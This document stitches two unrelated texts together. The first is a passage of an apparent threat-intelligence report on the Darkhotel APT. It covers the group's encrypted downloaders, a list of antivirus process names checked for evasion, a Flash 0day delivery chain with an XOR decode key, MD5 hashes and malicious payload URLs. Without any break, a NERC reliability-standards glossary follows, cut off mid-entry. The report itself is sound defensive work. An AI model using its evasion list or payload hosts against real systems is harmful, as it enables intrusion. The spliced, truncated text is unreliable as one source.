Darkhotel now tends to hide its code behind layers of encryption. It is likely that it has slowly adapted to attacking better-defended environments and prefers not to burn these stolen digital certificates. In previous attacks it would simply have taken advantage of a long list of weakly implemented, broken certificates. Not only are its obfuscation techniques becoming stronger, but its anti-detection technology list is growing. For example, this signed downloader (d896ebfc819741e0a97c651de1d15fec) decrypts a set of anti-malware strings in stages to identify defensive technologies on a newly-infected system, and then opens each process, looking for a matching image name: - c:\avast! sandbox\WINDOWS\system32\kernel32.dll - Avast! - avp.exe - Kaspersky Lab - mcagent.exe; mcuicnt.exe - Intel/Mcafee - bdagent.exe - BitDefender - ravmon.exe, ravmond.exe - Beijing Rising - 360tray.exe, 360sd.exe, 360rp.exe, exeMgr.exe - Qihoo 360 - ayagent.aye, avguard.; avgntsd.exe - Avira Antivirus - ccsvchst.exe, nis.exe - Symantec Norton - avgui.exe, avgidsagent.exe, avastui.exe, avastsvc.exe - Avast! - msseces.exe; msmpeng.exe - Microsoft Security Essentials and Microsoft Anti-Malware Service - AVK.exe; AVKTray.exe - G-Data - avas.exe - TrustPort AV - tptray.exe - Toshiba utility - fsma32.exe; fsorsp.exe - F-Secure - econser.exe; escanmon.exe - Microworld Technologies eScan - SrvLoad.exe; PSHost.exe - Panda Software - egui.exe; ekrn.exe - ESET Smart Security - pctsSvc.exe; pctsGui.exe - PC Tools Spyware Doctor - casc.exe; UmxEngine.exe - CA Security Center - cmdagent.exe; cfp.exe - Comodo - KVSrvXP.exe; KVMonXP.exe - Jiangmin Antivirus - nsesvc.exe; CClaw.exe - Norman - V3Svc.exe - Ahnlab - guardxup. - IKARUS - FProtTray. - F-Prot - op_mon - Agnitum Outpost - vba332ldr.; dwengine. - DrWeb Even the identifying information that the backdoor seeks from a system is not decrypted until runtime. Like the “information-stealer” component documented in our previous Darkhotel technical report, this component seeks to steal a set of data with which to identify the infected system. Much of the information is collected with the same set of calls, i.e. kernel32.GetDefaultSystemLangID, kernel32.GetVersion, and kernel32.GetSystemInfo: - Default system codepage - Network adapter information - Processor architecture - Hostname and IP address - Windows OS and Service Pack versions Essentially, much of this information-stealer code is the same as that observed in previous attacks. ## Tisone360.com, Visits, and Hacking Team Flash 0day The tisone360.com site was especially interesting to us. In April 2015, Darkhotel was email-phishing with links to earlier (cve-2014) Flash exploits, and then, at the beginning of July, it began to distribute what is reported to be a leaked Hacking Team Flash 0day. It looks like the Darkhotel APT may have been using the leaked Hacking Team Flash 0day to target specific systems. We can pivot from “tisone360.com” to identify some of this activity. The site was up and active as late as 22 July, 2015. However, this looks to be a small part of its activity. In addition to the icon.swf HT 0day (214709aa7c5e4e8b60759a175737bb2b), it looks as though the “tisone360.com” site was delivering a Flash CVE-2014-0497 exploit in April. We reported the related vulnerability to Adobe in January 2014, when it was being used by the Darkhotel APT. Recently, the Darkhotel APT has maintained multiple working directories on this site. It is the ims2 directory that is the most active. It contains a set of backdoors and exploits. The most interesting of these is the reported Hacking Team Flash 0day, icon.swf. In the days following the public mention of this server, the crew slowly tightened down open access to /ims2/. Either way, the contents continued to be actively used. icon.swf (214709aa7c5e4e8b60759a175737bb2b) -> icon.jpg (42a837c4433ae6bd7490baec8aeb5091) -> %temp%\RealTemp.exe (61cc019c3141281073181c4ef1f4e524) After icon.jpg is downloaded by the flash exploit, it is decoded with a multi-byte xor key 0xb369195a02. It then downloads further components. It’s interesting to note that the group appears to be altering the compilation and linker timestamps of its executable code to dates in 2013. We see this across multiple samples deployed and observed for the first time in mid-2015, including the icon.jpg downloader. A log of visits to the site directory records that the directory was set up on July 8th. A handful of visits to a specific url on the server from five systems based in the following locations were recorded on the 8th and 9th. Several of these are likely to be Darkhotel APT targets: - Germany - South Korea - China (likely to be research) - US - Japan However, one of those systems hammered the site on the 9th, visiting almost 12,000 times in 30 minutes. This volume of traffic is likely to represent a noisy scanning research attempt and not someone DoS’ing the site. Recorded site visits following the 9th are likely to be unreliable and may be more researchers, responding to the growing notoriety of the site following the public reports on the 9th. Many of these approximately 50 visits come from a subset of the above systems and are repeated multiple times. Visits from the following locations occurred on or after the 10th: - Germany (likely to be research) - Ukraine (likely to be research) - Amazon Web Services, multiple locations (likely to be research) - Googlebot, multiple locations - US - Ireland (likely to be research) - Russia - Brazil - China - Finland - Canada - Taiwan - France (likely to be research) - Czech Republic ## A Consistent Attack Flow The Darkhotel group tends to stick with what works. For example, for years we saw repeated use of spearphishing targets directly with .hta files. Now, as with the tisone360.com site above, we have seen repeated use in 2015 of a creative chain of delivery sets. - downloader -> hta checkin -> info stealer -> more compiled components. - dropper -> wsh script -> wsh script -> info stealer -> more compiled components - spearphish -> dropper -> hta checkin -> downloader -> info stealer While a chain of delivery that includes obfuscated scripts within .hta files occurred as far back as 2011, the volume appears to have picked up in 2014 and now 2015. ## Hiding Infrastructure in Plain Sight The group is now more vigilant in maintaining its sites, tightening up configuration and response content. Right now, its c2 responds with anti-hero images of “Drinky Crow” from the alt Maakies cartoon. Other Darkhotel c2s tend to blend in with random sites on the web when incorrect or missing pages are visited. They are ripping images either from FOTOLIA or articles on artisanal ice cream makers. ### HTA md5: - 021685613fb739dec7303247212c3b09 - 1ee3dfce97ab318b416c1ba7463ee405 - 2899f4099c76232d6362fd62ab730741 - 2dee887b20a06b8e556e878c62e46e13 - 6b9e9b2dc97ff0b26a8a61ba95ca8ff6 - 852a9411a949add69386a72805c8cb05 - be59994b5008a0be48934a9c5771dfa5 - e29693ce15acd552f1a0435e2d31d6df - fa67142728e40a2a4e97ccc6db919f2b - fef8fda27deb3e950ba1a71968ec7466 ### Spearphish attachments md5: - 5c74db6f755555ea99b51e1c68e796f9 - c3ae70b3012cc9b5c9ceb060a251715a - 560d68c31980c26d2adab7406b61c651 - da0717899e3ccc1ba0e8d32774566219 - d965a5b3548047da27b503029440e77f - dc0de14d9d36d13a6c8a34b2c583e70a - 39562e410bc3fb5a30aca8162b20bdd0 (first seen late 2014, used into 2015) - e85e0365b6f77cc2e9862f987b152a89 (first seen late 2014, used into 2015) ### 2015 large downloader md5: - 5e01b8bc78afc6ecb3376c06cbceb680 - 61cc019c3141281073181c4ef1f4e524 - 3d2e941ac48ae9d79380ca0f133f4a49fc78b15507e920b3ee405f843f48a7b3 - da360e94e60267dce08e6d47fc1fcecc - 33e278c5ba6bf1a545d45e17f7582512 - b1f56a54309147b07dda54623fecbb89 - 009d85773d519a9a97129102d8116305 ### Infostealers dropped in 2015 - 61637a0637fb25c53f396c305efa5dc5 - a7e78fd4bf305509c2fc1b3706567acd ### Subhosts and urls: - tisone360.com/img_h/ims2/icon.swf - tisone360.com/img_h/ims2/1.php - tisone360.com/img_h/ims2/icon.jpg - tisone360.com/noname/img/movie.swf - tisone360.com/noname/minky/face.php - tisone360.com/htdoc/ImageView.hta - tisone360.com/htdoc/page1/page.html - daily.enewsbank.net/wmpsrx64 - daily.enewsbank.net/newsviewer.hta - saytargetworld.net/season/nextpage.php - sendspace.servermsys.com/wnctprx - error-page.net/update/load.php - photo.storyonboard.net/wmpsrx64 - photo.storyonboard.net/photoviewer.hta - photo.storyonboard.net/readme.php - unionnewsreport.net/aeroflot_bonus/ticket.php - www.openofficev.info/xopen88/office2 - www.openofficev.info/dec98/unzip.js - www.openofficev.info/open99/office32 - www.openofficev.info/decod9/unzip.js
# Glossary of Terms Used in NERC Reliability Standards This Glossary lists each term that was defined for use in one or more of NERC’s continent-wide or Regional Reliability Standards and adopted by the NERC Board of Trustees from February 8, 2005 through March 8, 2023. This reference is divided into four sections, and each section is organized in alphabetical order. ## Subject to Enforcement ### Actual Net Interchange (NIA) The algebraic sum of actual megawatt transfers across all Tie Lines, including Pseudo-Ties, to and from all Adjacent Balancing Authority areas within the same Interconnection. Actual megawatt transfers on asynchronous DC tie lines that are directly connected to another Interconnection are excluded from Actual Net Interchange. **BOT Adoption Date:** 2/11/2016 **FERC Approval Date:** 7/1/2016 ### Adequacy The ability of the electric system to supply the aggregate electrical demand and energy requirements of the end-use customers at all times, taking into account scheduled and reasonably expected unscheduled outages of system elements. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Adjacent Balancing Authority A Balancing Authority whose Balancing Authority Area is interconnected with another Balancing Authority Area either directly or via a multi-party agreement or transmission tariff. **BOT Adoption Date:** 2/6/2014 **FERC Approval Date:** 6/30/2014 **Effective Date:** 10/1/2014 ### Adverse Reliability Impact The impact of an event that results in frequency-related instability; unplanned tripping of load or generation; or uncontrolled separation or cascading outages that affects a widespread area of the Interconnection. **BOT Adoption Date:** 2/7/2006 **FERC Approval Date:** 3/16/2007 ### After the Fact A time classification assigned to an RFI when the submittal time is greater than one hour after the start time of the RFI. **Acronym:** ATF **BOT Adoption Date:** 10/29/2008 **FERC Approval Date:** 12/17/2009 ### Agreement A contract or arrangement, either written or verbal and sometimes enforceable by law. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Alternative Interpersonal Communication Any Interpersonal Communication that is able to serve as a substitute for, and does not utilize the same infrastructure (medium) as, Interpersonal Communication used for day-to-day operation. **BOT Adoption Date:** 11/7/2012 **FERC Approval Date:** 4/16/2015 **Effective Date:** 10/1/2015 ### Altitude Correction Factor A multiplier applied to specify distances, which adjusts the distances to account for the change in relative air density (RAD) due to altitude from the RAD used to determine the specified distance. Altitude correction factors apply to both minimum worker approach distances and to minimum vegetation clearance distances. **BOT Adoption Date:** 2/7/2006 **FERC Approval Date:** 3/16/2007 ### Ancillary Service Those services that are necessary to support the transmission of capacity and energy from resources to loads while maintaining reliable operation of the Transmission Service Provider's transmission system in accordance with good utility practice. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Anti-Aliasing Filter An analog filter installed at a metering point to remove the high frequency components of the signal over the AGC sample period. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Area Control Error (ACE) The instantaneous difference between a Balancing Authority’s net actual and scheduled interchange, taking into account the effects of Frequency Bias, correction for meter error, and Automatic Time Error Correction (ATEC), if operating in the ATEC mode. ATEC is only applicable to Balancing Authorities in the Western Interconnection. **Acronym:** ACE **BOT Adoption Date:** 12/19/2012 **FERC Approval Date:** 10/16/2013 **Effective Date:** 4/1/2014 ### Area Interchange Methodology The Area Interchange methodology is characterized by determination of incremental transfer capability via simulation, from which Total Transfer Capability (TTC) can be mathematically derived. Capacity Benefit Margin, Transmission Reliability Margin, and Existing Transmission Commitments are subtracted from the TTC, and Postbacks and counterflows are added, to derive Available Transfer Capability. Under the Area Interchange Methodology, TTC results are generally reported on an area to area basis. **BOT Adoption Date:** 8/22/2008 **FERC Approval Date:** 11/24/2009 ### Arranged Interchange The state where a Request for Interchange (initial or revised) has been submitted for approval. **BOT Adoption Date:** 2/6/2014 **FERC Approval Date:** 6/30/2014 **Effective Date:** 10/1/2014 ### Attaining Balancing Authority A Balancing Authority bringing generation or load into its effective control boundaries through a Dynamic Transfer from the Native Balancing Authority. **BOT Adoption Date:** 2/6/2014 **FERC Approval Date:** 6/30/2014 **Effective Date:** 10/1/2014 ### Automatic Generation Control (AGC) A process designed and used to adjust a Balancing Authority Areas’ Demand and resources to help maintain the Reporting ACE in that of a Balancing Authority Area within the bounds required by applicable NERC Reliability Standards. **Acronym:** AGC **BOT Adoption Date:** 2/11/2016 **FERC Approval Date:** 9/20/2017 **Effective Date:** 1/1/2019 ### Automatic Time Error Correction (IATEC) The addition of a component to the ACE equation for the Western Interconnection that modifies the control point for the purpose of continuously paying back Primary Inadvertent Interchange to correct accumulated time error. Automatic Time Error Correction is only applicable in the Western Interconnection when operating in Automatic Time error correction Mode. **BOT Adoption Date:** 2/11/2016 **FERC Approval Date:** 7/1/2016 ### Available Flowgate Capability (AFC) A measure of the flow capability remaining on a Flowgate for further commercial activity over and above already committed uses. It is defined as TFC less Existing Transmission Commitments (ETC), less a Capacity Benefit Margin, less a Transmission Reliability Margin, plus Postbacks, and plus counterflows. **BOT Adoption Date:** 8/22/2008 **FERC Approval Date:** 11/24/2009 ### Available Transfer Capability (ATC) A measure of the transfer capability remaining in the physical transmission network for further commercial activity over and above already committed uses. It is defined as Total Transfer Capability less Existing Transmission Commitments (including retail customer service), less a Capacity Benefit Margin, less a Transmission Reliability Margin, plus Postbacks, plus counterflows. **BOT Adoption Date:** 8/22/2008 **FERC Approval Date:** 11/24/2009 ### Available Transfer Capability Implementation Document (ATCID) A document that describes the implementation of a methodology for calculating ATC or AFC, and provides information related to a Transmission Service Provider’s calculation of ATC or AFC. **BOT Adoption Date:** 8/22/2008 **FERC Approval Date:** 11/24/2009 ### Balancing Authority The responsible entity that integrates resource plans ahead of time, maintains Demand and resource balance within a Balancing Authority Area, and supports Interconnection frequency in real time. **BOT Adoption Date:** 2/11/2016 **FERC Approval Date:** 9/20/2017 **Effective Date:** 1/1/2019 ### Balancing Authority Area The collection of generation, transmission, and loads within the metered boundaries of the Balancing Authority. The Balancing Authority maintains load-resource balance within this area. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Balancing Contingency Event Any single event described in Subsections (A), (B), or (C) below, or any series of such otherwise single events, with each separated from the next by one minute or less. A. Sudden loss of generation: a. Due to i. unit tripping, or ii. loss of generator Facility resulting in isolation of the generator from the Bulk Electric System or from the responsible entity’s System, or iii. sudden unplanned outage of transmission Facility; B. Sudden loss of an Import, due to forced outage of transmission equipment that causes an unexpected imbalance between generation and Demand on the Interconnection. C. Sudden restoration of a Demand that was used as a resource that causes an unexpected change to the responsible entity’s ACE. **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/19/2017 **Effective Date:** 1/1/2018 ### Base Load The minimum amount of electric power delivered or required over a given period at a constant rate. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### BES Cyber Asset A Cyber Asset that if rendered unavailable, degraded, or misused would, within 15 minutes of its required operation, misoperation, or non-operation, adversely impact one or more Facilities, systems, or equipment, which, if destroyed, degraded, or otherwise rendered unavailable when needed, would affect the reliable operation of the Bulk Electric System. **Acronym:** BCA **BOT Adoption Date:** 2/12/2015 **FERC Approval Date:** 1/21/2016 **Effective Date:** 7/1/2016 ### BES Cyber System One or more BES Cyber Assets logically grouped by a responsible entity to perform one or more reliability tasks for a functional entity. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### BES Cyber System Information Information about the BES Cyber System that could be used to gain unauthorized access or pose a security threat to the BES Cyber System. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### Blackstart Resource A generating unit(s) and its associated set of equipment which has the ability to be started without support from the System or is designed to remain energized without connection to the remainder of the System, with the ability to energize a bus, meeting the Transmission Operator’s restoration plan needs for Real and Reactive Power capability, frequency and voltage control, and that has been included in the Transmission Operator’s restoration plan. **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/21/2016 **Effective Date:** 7/1/2016 ### Block Dispatch A set of dispatch rules such that given a specific amount of load to serve, an approximate generation dispatch can be determined. To accomplish this, the capacity of a given generator is segmented into loadable “blocks,” each of which is grouped and ordered relative to other blocks (based on characteristics including, but not limited to, efficiency, run of river or fuel supply considerations, and/or “must-run” status). **BOT Adoption Date:** 8/22/2008 **FERC Approval Date:** 11/24/2009 ### Bulk Electric System Unless modified by the lists shown below, all Transmission Elements operated at 100 kV or higher and Real Power and Reactive Power resources connected at 100 kV or higher. This does not include facilities used in the local distribution of electric energy. **Inclusions:** - I1 - Transformers with the primary terminal and at least one secondary terminal operated at 100 kV or higher unless excluded by application of Exclusion E1 or E3. - I2 – Generating resource(s) including the generator terminals through the high-side of the step-up transformer(s) connected at a voltage of 100 kV or above with: a) Gross individual nameplate rating greater than 20 MVA. Or, b) Gross plant/facility aggregate nameplate rating greater than 75 MVA. - I3 - Blackstart Resources identified in the Transmission Operator’s restoration plan. - I4 - Dispersed power producing resources that aggregate to a total capacity greater than 75 MVA (gross nameplate rating), and that are connected through a system designed primarily for delivering such capacity to a common point of connection at a voltage of 100 kV or above. **BOT Adoption Date:** 11/21/2013 **FERC Approval Date:** 3/20/2014 ### Burden Operation of the Bulk Electric System that violates or is expected to violate a System Operating Limit or Interconnection Reliability Operating Limit in the Interconnection, or that violates any other NERC, Regional Reliability Organization, or local operating reliability standards or criteria. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Bus-tie Breaker A circuit breaker that is positioned to connect two individual substation bus configurations. **BOT Adoption Date:** 8/4/2011 **FERC Approval Date:** 10/17/2013 **Effective Date:** 1/1/2015 ### Capacity Benefit Margin (CBM) The amount of firm transmission transfer capability preserved by the transmission provider for Load-Serving Entities (LSEs), whose loads are located on that Transmission Service Provider’s system, to enable access by the LSEs to generation from interconnected systems to meet generation reliability requirements. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Capacity Benefit Margin Implementation Document (CB MID) A document that describes the implementation of a Capacity Benefit Margin methodology. **BOT Adoption Date:** 11/13/2008 **FERC Approval Date:** 11/24/2009 ### Capacity Emergency A capacity emergency exists when a Balancing Authority Area’s operating capacity, plus firm purchases from other systems, to the extent available or limited by transfer capability, is inadequate to meet its demand plus its regulating requirements. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Cascading The uncontrolled successive loss of System Elements triggered by an incident at any location. Cascading results in widespread electric service interruption that cannot be restrained from sequentially spreading beyond an area predetermined by studies. **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/21/2016 **Effective Date:** 7/1/2016 ### CIP Exceptional Circumstance A situation that involves or threatens to involve one or more of the following, or similar, conditions that impact safety or BES reliability: a risk of injury or death; a natural disaster; civil unrest; an imminent or existing hardware, software, or equipment failure; a Cyber Security Incident requiring emergency assistance; a response by emergency services; the enactment of a mutual assistance agreement; or an impediment of large scale workforce availability. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### CIP Senior Manager A single senior management official with overall authority and responsibility for leading and managing implementation of and continuing adherence to the requirements within the NERC CIP Standards, CIP-002 through CIP-011. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### Clock Hour The 60-minute period ending at :00. All surveys, measurements, and reports are based on Clock Hour periods unless specifically noted. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Cogeneration Production of electricity from steam, heat, or other forms of energy produced as a by-product of another process. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Compliance Monitor The entity that monitors, reviews, and ensures compliance of responsible entities with reliability standards. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Composite Confirmed Interchange The energy profile (including non-default ramp) throughout a given time period, based on the aggregate of all Confirmed Interchange occurring in that time period. **BOT Adoption Date:** 2/6/2014 **FERC Approval Date:** 6/30/2014 **Effective Date:** 10/1/2014 ### Composite Protection System The total complement of Protection System(s) that function collectively to protect an Element. Backup protection provided by a different Element’s Protection System(s) is excluded. **BOT Adoption Date:** 8/14/2014 **FERC Approval Date:** 5/13/2015 **Effective Date:** 7/1/2016 ### Confirmed Interchange The state where no party has denied and all required parties have approved the Arranged Interchange. **BOT Adoption Date:** 2/6/2014 **FERC Approval Date:** 6/30/2014 **Effective Date:** 10/1/2014 ### Congestion Management Report A report that the Interchange Distribution Calculator issues when a Reliability Coordinator initiates the Transmission Loading Relief procedure. This report identifies the transactions and native and network load curtailments that must be initiated to achieve the loading relief requested by the initiating Reliability Coordinator. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Consequential Load Loss All Load that is no longer served by the Transmission system as a result of Transmission Facilities being removed from service by a Protection System operation designed to isolate the fault. **BOT Adoption Date:** 8/4/2011 **FERC Approval Date:** 10/17/2013 **Effective Date:** 1/1/2015 ### Constrained Facility A transmission facility (line, transformer, breaker, etc.) that is approaching, is at, or is beyond its System Operating Limit or Interconnection Reliability Operating Limit. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Contact Path An agreed upon electrical path for the continuous flow of electrical power between the parties of an Interchange Transaction. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Contingency The unexpected failure or outage of a system component, such as a generator, transmission line, circuit breaker, switch or other electrical element. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Contingency Event Recovery Period A period that begins at the time that the resource output begins to decline within the first one-minute interval of a Reportable Balancing Contingency Event, and extends for fifteen minutes thereafter. **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/19/2017 **Effective Date:** 1/1/2018 ### Contingency Reserve The provision of capacity that may be deployed by the Balancing Authority to respond to a Balancing Contingency Event and other contingency requirements (such as Energy Emergency Alerts as specified in the associated EOP standard). **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/19/2017 **Effective Date:** 1/1/2018 ### Contingency Reserve Restoration Period A period not exceeding 90 minutes following the end of the Contingency Event Recovery Period. **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/19/2017 **Effective Date:** 1/1/2018 ### Control Center One or more facilities hosting operating personnel that monitor and control the Bulk Electric System (BES) in real-time to perform the reliability tasks, including their associated data centers, of: 1) a Reliability Coordinator, 2) a Balancing Authority, 3) a Transmission Operator for transmission Facilities at two or more locations, or 4) a Generator Operator for generation Facilities at two or more locations. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### Control Performance Standard (CPS) The reliability standard that sets the limits of a Balancing Authority’s Area Control Error over a specified time period. **Acronym:** CPS **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Corrective Action Plan A list of actions and an associated timetable for implementation to remedy a specific problem. **BOT Adoption Date:** 2/7/2006 **FERC Approval Date:** 3/16/2007 ### Cranking Path A portion of the electric system that can be isolated and then energized to deliver electric power from a generation source to enable the startup of one or more other generating units. **BOT Adoption Date:** 5/2/2006 **FERC Approval Date:** 3/16/2007 ### Curtailment A reduction in the scheduled capacity or energy delivery of an Interchange Transaction. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Curtailment Threshold The minimum Transfer Distribution Factor which, if exceeded, will subject an Interchange Transaction to curtailment to relieve a transmission facility constraint. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Cyber Assets Programmable electronic devices, including the hardware, software, and data in those devices. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### Cyber Security Incident A malicious act or suspicious event that compromises or attempts to compromise a Cyber Security Perimeter, disrupts or attempts to disrupt the operation of a BES Cyber System. **BOT Adoption Date:** 2/7/2019 **FERC Approval Date:** 6/20/2019 **Effective Date:** 1/1/2021 ### Delayed Fault Clearing Fault clearing consistent with correct operation of a breaker failure protection system and its associated breakers, or of a backup protection system with an intentional time delay. **BOT Adoption Date:** 11/1/2006 **FERC Approval Date:** 12/27/2007 ### Demand 1. The rate at which electric energy is delivered to or by a system or part of a system, generally expressed in kilowatts or megawatts, at a given instant or averaged over any designated interval of time. 2. The rate at which energy is being used by the customer. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Demand-Side Management (DSM) All activities or programs undertaken by any applicable entity to achieve a reduction in Demand. **BOT Adoption Date:** 5/6/2014 **FERC Approval Date:** 2/19/2015 **Effective Date:** 7/1/2016 ### Dial-up Connectivity A data communication link that is established when the communication equipment dials a phone number and negotiates a connection with the equipment on the other end of the link. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### Direct Control Load Management (DCLM) Demand-Side Management that is under the direct control of the system operator. DCLM may control the electric supply to individual appliances or equipment on customer premises. DCLM as defined here does not include Interruptible Demand. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Dispatch Order A set of dispatch rules such that given a specific amount of load to serve, an approximate generation dispatch can be determined. To accomplish this, each generator is ranked by priority. **BOT Adoption Date:** 8/22/2008 **FERC Approval Date:** 11/24/2009 ### Dispersed Load by Substations Substation load information configured to represent a system for power flow or system dynamics modeling purposes, or both. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Distribution Factor (DF) The portion of an Interchange Transaction, typically expressed in per unit that flows across a transmission facility (Flowgate). **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Distribution Provider Provides and operates the “wires” between the transmission system and the end-use customer. For those end-use customers who are served at transmission voltages, the Transmission Owner also serves as the Distribution Provider. **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/21/2016 **Effective Date:** 7/1/2016 ### Disturbance 1. An unplanned event that produces an abnormal system condition. 2. Any perturbation to the electric system. 3. The unexpected change in ACE that is caused by the sudden failure of generation or interruption of load. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Disturbance Control Standard (DCS) The reliability standard that sets the time limit following a Disturbance within which a Balancing Authority must return its Area Control Error to within a specified range. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Disturbance Monitoring Equipment (DME) Devices capable of monitoring and recording system data pertaining to a Disturbance. Such devices include the following categories of recorders: - Sequence of event recorders which record equipment response to the event. - Fault recorders, which record actual waveform data replicating the system primary voltages and currents. - Dynamic Disturbance Recorders (DDRs), which record incidents that portray power system behavior during dynamic events such as low-frequency (0.1 Hz – 3 Hz) oscillations and abnormal frequency or voltage excursions. **BOT Adoption Date:** 8/2/2006 **FERC Approval Date:** 3/16/2007 ### Dynamic Interchange Schedule A time-varying energy transfer that is updated in Real-time and included in the Scheduled Net Interchange (NIS) term in the same manner as an Interchange Schedule in the affected Balancing Authorities’ control ACE equations (or alternate control processes). **BOT Adoption Date:** 2/6/2014 **FERC Approval Date:** 6/30/2014 **Effective Date:** 10/1/2014 ### Dynamic Transfer The provision of the real-time monitoring, telemetering, computer software, hardware, communications, engineering, energy accounting (including inadvertent interchange), and administration required to electronically move all or a portion of the real energy services associated with a generator or load out of one Balancing Authority Area into another. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Economic Dispatch The allocation of demand to individual generating units on line to effect the most economical production of electricity. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Electrical Energy The generation or use of electric power by a device over a period of time, expressed in kilowatthours (kWh), megawatthours (MWh), or gigawatthours (GWh). **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Electronic Access Control or Monitoring Systems (EACMS) Cyber Assets that perform electronic access control or electronic access monitoring of the Electronic Security Perimeter(s) or BES Cyber Systems. This includes Intermediate Systems. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### Electronic Access Point (EAP) A Cyber Asset interface on an Electronic Security Perimeter that allows routable communication between Cyber Assets outside an Electronic Security Perimeter and Cyber Assets inside an Electronic Security Perimeter. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### Electronic Security Perimeter (ESP) The logical border surrounding a network to which BES Cyber Systems are connected using a routable protocol. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### Element Any electrical device with terminals that may be connected to other electrical devices such as a generator, transformer, circuit breaker, bus section, or transmission line. An Element may be comprised of one or more components. **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/21/2016 **Effective Date:** 7/1/2016 ### Emergency or BES Emergency Any abnormal system condition that requires automatic or immediate manual action to prevent or limit the failure of transmission facilities or generation supply that could adversely affect the reliability of the Bulk Electric System. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Emergency Rating The rating as defined by the equipment owner that specifies the level of electrical loading or output, usually expressed in megawatts (MW) or Mvar or other appropriate units, that a system, facility, or element can support, produce, or withstand for a finite period. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Emergency Request for Interchange (RFI) Request for Interchange to be initiated for Emergency or Energy Emergency conditions. **BOT Adoption Date:** 10/29/2008 **FERC Approval Date:** 12/17/2009 ### Energy Emergency A condition when a Load-Serving Entity or Balancing Authority has exhausted all other resource options and can no longer meet its expected Load obligations. **BOT Adoption Date:** 11/13/2014 **FERC Approval Date:** 11/19/2015 **Effective Date:** 4/1/2017 ### Equipment Rating The maximum and minimum voltage, current, frequency, real and reactive power flows on individual equipment under steady state, short-circuit and transient conditions, as permitted or assigned by the equipment owner. **BOT Adoption Date:** 2/7/2006 **FERC Approval Date:** 3/16/2007 ### Existing Transmission Commitments (ETC) Committed uses of a Transmission Service Provider’s Transmission system considered when determining ATC or AFC. **BOT Adoption Date:** 8/22/2008 **FERC Approval Date:** 11/24/2009 ### External Routable Connectivity The ability to access a BES Cyber System from a Cyber Asset that is outside of its associated Electronic Security Perimeter via a bi-directional routable protocol connection. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### Facility A set of electrical equipment that operates as a single Bulk Electric System Element (e.g., a line, a generator, a shunt compensator, transformer, etc.). **BOT Adoption Date:** 2/7/2006 **FERC Approval Date:** 3/16/2007 ### Facility Rating The maximum or minimum voltage, current, frequency, or real or reactive power flow through a facility that does not violate the applicable equipment rating of any equipment comprising the facility. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Fault An event occurring on an electric system such as a short circuit, a broken wire, or an intermittent connection. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Fire Risk The 